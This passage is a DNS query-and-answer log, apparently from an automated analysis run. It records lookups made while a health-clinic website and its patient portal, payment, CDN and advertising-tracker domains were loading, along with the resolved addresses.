Apr 24, 2024 14:44:26.937325001 CEST	192.168.2.4	1.1.1.1	0x703f	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 24, 2024 14:44:27.289177895 CEST	192.168.2.4	1.1.1.1	0xbb0a	Standard query (0)	cdn.acsbapp.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:27.289362907 CEST	192.168.2.4	1.1.1.1	0x9417	Standard query (0)	cdn.acsbapp.com	65	IN (0x0001)	false
Apr 24, 2024 14:44:31.465549946 CEST	192.168.2.4	1.1.1.1	0xf679	Standard query (0)	listgrowth.ctctcdn.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:31.465692997 CEST	192.168.2.4	1.1.1.1	0x3d86	Standard query (0)	listgrowth.ctctcdn.com	65	IN (0x0001)	false
Apr 24, 2024 14:44:31.622198105 CEST	192.168.2.4	1.1.1.1	0x5df7	Standard query (0)	cdn.acsbapp.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:31.622333050 CEST	192.168.2.4	1.1.1.1	0xeaa	Standard query (0)	cdn.acsbapp.com	65	IN (0x0001)	false
Apr 24, 2024 14:44:31.725948095 CEST	192.168.2.4	1.1.1.1	0x1799	Standard query (0)	insight.adsrvr.org	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:31.726100922 CEST	192.168.2.4	1.1.1.1	0x687f	Standard query (0)	insight.adsrvr.org	65	IN (0x0001)	false
Apr 24, 2024 14:44:32.630561113 CEST	192.168.2.4	1.1.1.1	0xa10e	Standard query (0)	listgrowth.ctctcdn.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:32.630702019 CEST	192.168.2.4	1.1.1.1	0xc98	Standard query (0)	listgrowth.ctctcdn.com	65	IN (0x0001)	false
Apr 24, 2024 14:44:32.675218105 CEST	192.168.2.4	1.1.1.1	0x306f	Standard query (0)	match.adsrvr.org	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:32.675542116 CEST	192.168.2.4	1.1.1.1	0x9c6a	Standard query (0)	match.adsrvr.org	65	IN (0x0001)	false
Apr 24, 2024 14:44:32.734035015 CEST	192.168.2.4	1.1.1.1	0xb654	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:32.734159946 CEST	192.168.2.4	1.1.1.1	0x7aef	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 24, 2024 14:44:33.598371983 CEST	192.168.2.4	1.1.1.1	0x1045	Standard query (0)	js.adsrvr.org	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:33.598583937 CEST	192.168.2.4	1.1.1.1	0x1573	Standard query (0)	js.adsrvr.org	65	IN (0x0001)	false
Apr 24, 2024 14:44:34.414710045 CEST	192.168.2.4	1.1.1.1	0x5135	Standard query (0)	pixel.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:34.414864063 CEST	192.168.2.4	1.1.1.1	0x4e09	Standard query (0)	pixel.rubiconproject.com	65	IN (0x0001)	false
Apr 24, 2024 14:44:34.433340073 CEST	192.168.2.4	1.1.1.1	0x1414	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:34.433489084 CEST	192.168.2.4	1.1.1.1	0x3537	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
Apr 24, 2024 14:44:34.473277092 CEST	192.168.2.4	1.1.1.1	0xb8ce	Standard query (0)	cm.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:34.473457098 CEST	192.168.2.4	1.1.1.1	0x8566	Standard query (0)	cm.g.doubleclick.net	65	IN (0x0001)	false
Apr 24, 2024 14:44:38.413978100 CEST	192.168.2.4	1.1.1.1	0x5d4b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:38.414403915 CEST	192.168.2.4	1.1.1.1	0xa176	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 24, 2024 14:44:47.403816938 CEST	192.168.2.4	1.1.1.1	0xb9fa	Standard query (0)	dsum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:47.404252052 CEST	192.168.2.4	1.1.1.1	0x3253	Standard query (0)	dsum-sec.casalemedia.com	65	IN (0x0001)	false
Apr 24, 2024 14:44:47.427881002 CEST	192.168.2.4	1.1.1.1	0x7d34	Standard query (0)	x.bidswitch.net	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:47.428030014 CEST	192.168.2.4	1.1.1.1	0xa160	Standard query (0)	x.bidswitch.net	65	IN (0x0001)	false
Apr 24, 2024 14:44:47.446697950 CEST	192.168.2.4	1.1.1.1	0xd467	Standard query (0)	simage2.pubmatic.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:47.446856022 CEST	192.168.2.4	1.1.1.1	0xf399	Standard query (0)	simage2.pubmatic.com	65	IN (0x0001)	false
Apr 24, 2024 14:44:48.998403072 CEST	192.168.2.4	1.1.1.1	0x9f7c	Standard query (0)	valleyprohealth.org	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:48.998558998 CEST	192.168.2.4	1.1.1.1	0xb66b	Standard query (0)	valleyprohealth.org	65	IN (0x0001)	false
Apr 24, 2024 14:44:50.362468004 CEST	192.168.2.4	1.1.1.1	0x8c61	Standard query (0)	translate.google.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:50.362624884 CEST	192.168.2.4	1.1.1.1	0x4caa	Standard query (0)	translate.google.com	65	IN (0x0001)	false
Apr 24, 2024 14:44:50.363188982 CEST	192.168.2.4	1.1.1.1	0x209	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:50.363430977 CEST	192.168.2.4	1.1.1.1	0x8c4	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Apr 24, 2024 14:44:50.363892078 CEST	192.168.2.4	1.1.1.1	0xd35f	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:50.364011049 CEST	192.168.2.4	1.1.1.1	0xc373	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Apr 24, 2024 14:44:50.519377947 CEST	192.168.2.4	1.1.1.1	0x3249	Standard query (0)	maps.google.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:50.519602060 CEST	192.168.2.4	1.1.1.1	0xefdc	Standard query (0)	maps.google.com	65	IN (0x0001)	false
Apr 24, 2024 14:44:50.675199986 CEST	192.168.2.4	1.1.1.1	0x2c96	Standard query (0)	connect.facebook.net	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:50.675410032 CEST	192.168.2.4	1.1.1.1	0x23ea	Standard query (0)	connect.facebook.net	65	IN (0x0001)	false
Apr 24, 2024 14:44:52.859292984 CEST	192.168.2.4	1.1.1.1	0xbbb1	Standard query (0)	www.healowpay.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:52.859524965 CEST	192.168.2.4	1.1.1.1	0x8b07	Standard query (0)	www.healowpay.com	65	IN (0x0001)	false
Apr 24, 2024 14:44:56.433013916 CEST	192.168.2.4	1.1.1.1	0xe6ab	Standard query (0)	www.healowpay.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:56.433525085 CEST	192.168.2.4	1.1.1.1	0x7507	Standard query (0)	www.healowpay.com	65	IN (0x0001)	false
Apr 24, 2024 14:45:02.909017086 CEST	192.168.2.4	1.1.1.1	0x12e7	Standard query (0)	mycw108.ecwcloud.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:02.909173012 CEST	192.168.2.4	1.1.1.1	0x4fa2	Standard query (0)	mycw108.ecwcloud.com	65	IN (0x0001)	false
Apr 24, 2024 14:45:04.212305069 CEST	192.168.2.4	1.1.1.1	0x9680	Standard query (0)	static.ctctcdn.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:04.212582111 CEST	192.168.2.4	1.1.1.1	0x8df1	Standard query (0)	static.ctctcdn.com	65	IN (0x0001)	false
Apr 24, 2024 14:45:06.279829979 CEST	192.168.2.4	1.1.1.1	0x478b	Standard query (0)	mycw108.ecwcloud.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:06.279995918 CEST	192.168.2.4	1.1.1.1	0x6eb7	Standard query (0)	mycw108.ecwcloud.com	65	IN (0x0001)	false
Apr 24, 2024 14:45:06.495417118 CEST	192.168.2.4	1.1.1.1	0xba6f	Standard query (0)	acsbapp.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:06.495551109 CEST	192.168.2.4	1.1.1.1	0x9ad1	Standard query (0)	acsbapp.com	65	IN (0x0001)	false
Apr 24, 2024 14:45:07.341850042 CEST	192.168.2.4	1.1.1.1	0x80c3	Standard query (0)	js.adsrvr.org	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:07.342024088 CEST	192.168.2.4	1.1.1.1	0x94d1	Standard query (0)	js.adsrvr.org	65	IN (0x0001)	false
Apr 24, 2024 14:45:07.763040066 CEST	192.168.2.4	1.1.1.1	0x4575	Standard query (0)	cdn.acsbapp.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:07.763319016 CEST	192.168.2.4	1.1.1.1	0x6a32	Standard query (0)	cdn.acsbapp.com	65	IN (0x0001)	false
Apr 24, 2024 14:45:09.422985077 CEST	192.168.2.4	1.1.1.1	0x42d0	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Apr 24, 2024 14:45:09.422985077 CEST	192.168.2.4	1.1.1.1	0xb79a	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:10.974257946 CEST	192.168.2.4	1.1.1.1	0x4bf0	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:10.974684000 CEST	192.168.2.4	1.1.1.1	0xd503	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 24, 2024 14:45:14.152338982 CEST	192.168.2.4	1.1.1.1	0xabc8	Standard query (0)	listgrowth.ctctcdn.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:14.152461052 CEST	192.168.2.4	1.1.1.1	0x89c4	Standard query (0)	listgrowth.ctctcdn.com	65	IN (0x0001)	false
Apr 24, 2024 14:45:14.919306040 CEST	192.168.2.4	1.1.1.1	0xe57e	Standard query (0)	insight.adsrvr.org	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:14.919502020 CEST	192.168.2.4	1.1.1.1	0xfff8	Standard query (0)	insight.adsrvr.org	65	IN (0x0001)	false
Apr 24, 2024 14:45:15.368062019 CEST	192.168.2.4	1.1.1.1	0xc857	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:15.368213892 CEST	192.168.2.4	1.1.1.1	0x6d3d	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 24, 2024 14:45:15.843300104 CEST	192.168.2.4	1.1.1.1	0x80b5	Standard query (0)	js.adsrvr.org	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:15.843709946 CEST	192.168.2.4	1.1.1.1	0x9808	Standard query (0)	js.adsrvr.org	65	IN (0x0001)	false
Apr 24, 2024 14:45:26.497242928 CEST	192.168.2.4	1.1.1.1	0x44b0	Standard query (0)	calendar.google.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:26.497428894 CEST	192.168.2.4	1.1.1.1	0xe3ff	Standard query (0)	calendar.google.com	65	IN (0x0001)	false
Apr 24, 2024 14:45:28.439517021 CEST	192.168.2.4	1.1.1.1	0x647b	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:28.439764023 CEST	192.168.2.4	1.1.1.1	0x5e9b	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Apr 24, 2024 14:45:33.096050024 CEST	192.168.2.4	1.1.1.1	0x68f3	Standard query (0)	clients6.google.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:33.096204996 CEST	192.168.2.4	1.1.1.1	0x8ecf	Standard query (0)	clients6.google.com	65	IN (0x0001)	false
Apr 24, 2024 14:45:34.552249908 CEST	192.168.2.4	1.1.1.1	0xc27a	Standard query (0)	calendar.google.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:34.552589893 CEST	192.168.2.4	1.1.1.1	0x4373	Standard query (0)	calendar.google.com	65	IN (0x0001)	false
Apr 24, 2024 14:45:36.327224016 CEST	192.168.2.4	1.1.1.1	0xf3c7	Standard query (0)	clients6.google.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:45:36.327471018 CEST	192.168.2.4	1.1.1.1	0x1bc	Standard query (0)	clients6.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 24, 2024 14:44:12.175204039 CEST	1.1.1.1	192.168.2.4	0xad24	No error (0)	valleyprohealth.org		35.222.242.251	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.908832073 CEST	1.1.1.1	192.168.2.4	0xe8be	No error (0)	valleyprohealth.org		35.222.242.251	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.913096905 CEST	1.1.1.1	192.168.2.4	0xb07e	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.913096905 CEST	1.1.1.1	192.168.2.4	0xb07e	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.913096905 CEST	1.1.1.1	192.168.2.4	0xb07e	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.913096905 CEST	1.1.1.1	192.168.2.4	0xb07e	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.914426088 CEST	1.1.1.1	192.168.2.4	0x6f5b	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:12.914426088 CEST	1.1.1.1	192.168.2.4	0x6f5b	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.914426088 CEST	1.1.1.1	192.168.2.4	0x6f5b	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.914426088 CEST	1.1.1.1	192.168.2.4	0x6f5b	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.914426088 CEST	1.1.1.1	192.168.2.4	0x6f5b	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.914758921 CEST	1.1.1.1	192.168.2.4	0x5807	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:12.914758921 CEST	1.1.1.1	192.168.2.4	0x5807	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.914758921 CEST	1.1.1.1	192.168.2.4	0x5807	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.914758921 CEST	1.1.1.1	192.168.2.4	0x5807	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.914758921 CEST	1.1.1.1	192.168.2.4	0x5807	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.918025970 CEST	1.1.1.1	192.168.2.4	0x2043	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.918025970 CEST	1.1.1.1	192.168.2.4	0x2043	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.918025970 CEST	1.1.1.1	192.168.2.4	0x2043	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.918025970 CEST	1.1.1.1	192.168.2.4	0x2043	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.918210030 CEST	1.1.1.1	192.168.2.4	0x406d	No error (0)	translate.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:12.918210030 CEST	1.1.1.1	192.168.2.4	0x406d	No error (0)	www3.l.google.com		74.125.137.101	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.918210030 CEST	1.1.1.1	192.168.2.4	0x406d	No error (0)	www3.l.google.com		74.125.137.138	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.918210030 CEST	1.1.1.1	192.168.2.4	0x406d	No error (0)	www3.l.google.com		74.125.137.102	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.918210030 CEST	1.1.1.1	192.168.2.4	0x406d	No error (0)	www3.l.google.com		74.125.137.113	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.918210030 CEST	1.1.1.1	192.168.2.4	0x406d	No error (0)	www3.l.google.com		74.125.137.139	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.918210030 CEST	1.1.1.1	192.168.2.4	0x406d	No error (0)	www3.l.google.com		74.125.137.100	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:12.918662071 CEST	1.1.1.1	192.168.2.4	0x5400	No error (0)	translate.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:12.921869040 CEST	1.1.1.1	192.168.2.4	0xb8a6	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:12.922213078 CEST	1.1.1.1	192.168.2.4	0xe394	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:13.072921991 CEST	1.1.1.1	192.168.2.4	0x81d0	No error (0)	maps.google.com		142.250.101.102	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:13.072921991 CEST	1.1.1.1	192.168.2.4	0x81d0	No error (0)	maps.google.com		142.250.101.139	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:13.072921991 CEST	1.1.1.1	192.168.2.4	0x81d0	No error (0)	maps.google.com		142.250.101.101	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:13.072921991 CEST	1.1.1.1	192.168.2.4	0x81d0	No error (0)	maps.google.com		142.250.101.100	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:13.072921991 CEST	1.1.1.1	192.168.2.4	0x81d0	No error (0)	maps.google.com		142.250.101.113	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:13.072921991 CEST	1.1.1.1	192.168.2.4	0x81d0	No error (0)	maps.google.com		142.250.101.138	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:13.228070021 CEST	1.1.1.1	192.168.2.4	0x1065	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:13.228070021 CEST	1.1.1.1	192.168.2.4	0x1065	No error (0)	scontent.xx.fbcdn.net		31.13.70.7	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:13.229100943 CEST	1.1.1.1	192.168.2.4	0x98b9	No error (0)	connect.facebook.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:15.055978060 CEST	1.1.1.1	192.168.2.4	0x93cf	No error (0)	www.google.com		142.250.141.99	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:15.055978060 CEST	1.1.1.1	192.168.2.4	0x93cf	No error (0)	www.google.com		142.250.141.147	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:15.055978060 CEST	1.1.1.1	192.168.2.4	0x93cf	No error (0)	www.google.com		142.250.141.103	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:15.055978060 CEST	1.1.1.1	192.168.2.4	0x93cf	No error (0)	www.google.com		142.250.141.105	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:15.055978060 CEST	1.1.1.1	192.168.2.4	0x93cf	No error (0)	www.google.com		142.250.141.104	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:15.055978060 CEST	1.1.1.1	192.168.2.4	0x93cf	No error (0)	www.google.com		142.250.141.106	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:15.056170940 CEST	1.1.1.1	192.168.2.4	0xd52c	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 24, 2024 14:44:18.981302977 CEST	1.1.1.1	192.168.2.4	0xc375	No error (0)	valleyprohealth.org		35.222.242.251	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:19.620829105 CEST	1.1.1.1	192.168.2.4	0x39f8	No error (0)	translate.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:19.620829105 CEST	1.1.1.1	192.168.2.4	0x39f8	No error (0)	www3.l.google.com		74.125.137.113	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:19.620829105 CEST	1.1.1.1	192.168.2.4	0x39f8	No error (0)	www3.l.google.com		74.125.137.100	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:19.620829105 CEST	1.1.1.1	192.168.2.4	0x39f8	No error (0)	www3.l.google.com		74.125.137.139	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:19.620829105 CEST	1.1.1.1	192.168.2.4	0x39f8	No error (0)	www3.l.google.com		74.125.137.102	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:19.620829105 CEST	1.1.1.1	192.168.2.4	0x39f8	No error (0)	www3.l.google.com		74.125.137.138	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:19.620829105 CEST	1.1.1.1	192.168.2.4	0x39f8	No error (0)	www3.l.google.com		74.125.137.101	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:19.621787071 CEST	1.1.1.1	192.168.2.4	0x5300	No error (0)	translate.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:24.418570995 CEST	1.1.1.1	192.168.2.4	0xd581	No error (0)	static.ctctcdn.com	static.ctctcdn.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:24.426409960 CEST	1.1.1.1	192.168.2.4	0xc503	No error (0)	static.ctctcdn.com	static.ctctcdn.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:25.261640072 CEST	1.1.1.1	192.168.2.4	0x9369	No error (0)	js.adsrvr.org	dg2iu7dxxehbo.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:25.261698961 CEST	1.1.1.1	192.168.2.4	0x4ab4	No error (0)	js.adsrvr.org	dg2iu7dxxehbo.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:25.261698961 CEST	1.1.1.1	192.168.2.4	0x4ab4	No error (0)	dg2iu7dxxehbo.cloudfront.net		18.154.142.121	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:25.763319016 CEST	1.1.1.1	192.168.2.4	0xbb0a	No error (0)	acsbapp.com			65	IN (0x0001)	false
Apr 24, 2024 14:44:25.763777971 CEST	1.1.1.1	192.168.2.4	0xd7bf	No error (0)	acsbapp.com		104.22.1.204	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:25.763777971 CEST	1.1.1.1	192.168.2.4	0xd7bf	No error (0)	acsbapp.com		104.22.0.204	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:25.763777971 CEST	1.1.1.1	192.168.2.4	0xd7bf	No error (0)	acsbapp.com		172.67.11.155	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:25.795064926 CEST	1.1.1.1	192.168.2.4	0x343e	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:25.795064926 CEST	1.1.1.1	192.168.2.4	0x343e	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:25.795344114 CEST	1.1.1.1	192.168.2.4	0x6ef4	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Apr 24, 2024 14:44:27.090740919 CEST	1.1.1.1	192.168.2.4	0x703f	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 24, 2024 14:44:27.091130972 CEST	1.1.1.1	192.168.2.4	0xffae	No error (0)	www.google.com		142.250.141.104	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:27.091130972 CEST	1.1.1.1	192.168.2.4	0xffae	No error (0)	www.google.com		142.250.141.106	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:27.091130972 CEST	1.1.1.1	192.168.2.4	0xffae	No error (0)	www.google.com		142.250.141.103	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:27.091130972 CEST	1.1.1.1	192.168.2.4	0xffae	No error (0)	www.google.com		142.250.141.105	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:27.091130972 CEST	1.1.1.1	192.168.2.4	0xffae	No error (0)	www.google.com		142.250.141.147	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:27.091130972 CEST	1.1.1.1	192.168.2.4	0xffae	No error (0)	www.google.com		142.250.141.99	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:27.443437099 CEST	1.1.1.1	192.168.2.4	0x9417	No error (0)	cdn.acsbapp.com			65	IN (0x0001)	false
Apr 24, 2024 14:44:27.451211929 CEST	1.1.1.1	192.168.2.4	0xbb0a	No error (0)	cdn.acsbapp.com		104.22.1.204	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:27.451211929 CEST	1.1.1.1	192.168.2.4	0xbb0a	No error (0)	cdn.acsbapp.com		172.67.11.155	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:27.451211929 CEST	1.1.1.1	192.168.2.4	0xbb0a	No error (0)	cdn.acsbapp.com		104.22.0.204	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:31.636173964 CEST	1.1.1.1	192.168.2.4	0xf679	No error (0)	listgrowth.ctctcdn.com		18.154.206.40	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:31.636173964 CEST	1.1.1.1	192.168.2.4	0xf679	No error (0)	listgrowth.ctctcdn.com		18.154.206.32	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:31.636173964 CEST	1.1.1.1	192.168.2.4	0xf679	No error (0)	listgrowth.ctctcdn.com		18.154.206.128	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:31.636173964 CEST	1.1.1.1	192.168.2.4	0xf679	No error (0)	listgrowth.ctctcdn.com		18.154.206.110	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:31.692683935 CEST	1.1.1.1	192.168.2.4	0xa7ca	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 14:44:31.692683935 CEST	1.1.1.1	192.168.2.4	0xa7ca	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:31.776067972 CEST	1.1.1.1	192.168.2.4	0x5df7	No error (0)	cdn.acsbapp.com		172.67.11.155	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:31.776067972 CEST	1.1.1.1	192.168.2.4	0x5df7	No error (0)	cdn.acsbapp.com		104.22.1.204	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:31.776067972 CEST	1.1.1.1	192.168.2.4	0x5df7	No error (0)	cdn.acsbapp.com		104.22.0.204	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:31.776299000 CEST	1.1.1.1	192.168.2.4	0xeaa	No error (0)	cdn.acsbapp.com			65	IN (0x0001)	false
Apr 24, 2024 14:44:31.878999949 CEST	1.1.1.1	192.168.2.4	0x1799	No error (0)	insight.adsrvr.org		52.223.40.198	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:31.878999949 CEST	1.1.1.1	192.168.2.4	0x1799	No error (0)	insight.adsrvr.org		3.33.220.150	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:31.878999949 CEST	1.1.1.1	192.168.2.4	0x1799	No error (0)	insight.adsrvr.org		15.197.193.217	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:31.878999949 CEST	1.1.1.1	192.168.2.4	0x1799	No error (0)	insight.adsrvr.org		35.71.131.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:32.784080982 CEST	1.1.1.1	192.168.2.4	0xa10e	No error (0)	listgrowth.ctctcdn.com		18.154.206.110	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:32.784080982 CEST	1.1.1.1	192.168.2.4	0xa10e	No error (0)	listgrowth.ctctcdn.com		18.154.206.32	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:44:32.784080982 CEST	1.1.1.1	192.168.2.4	0xa10e	No error (0)	listgrowth.ctctcdn.com		18.154.206.128	A (IP address)	IN (0x0001)	false
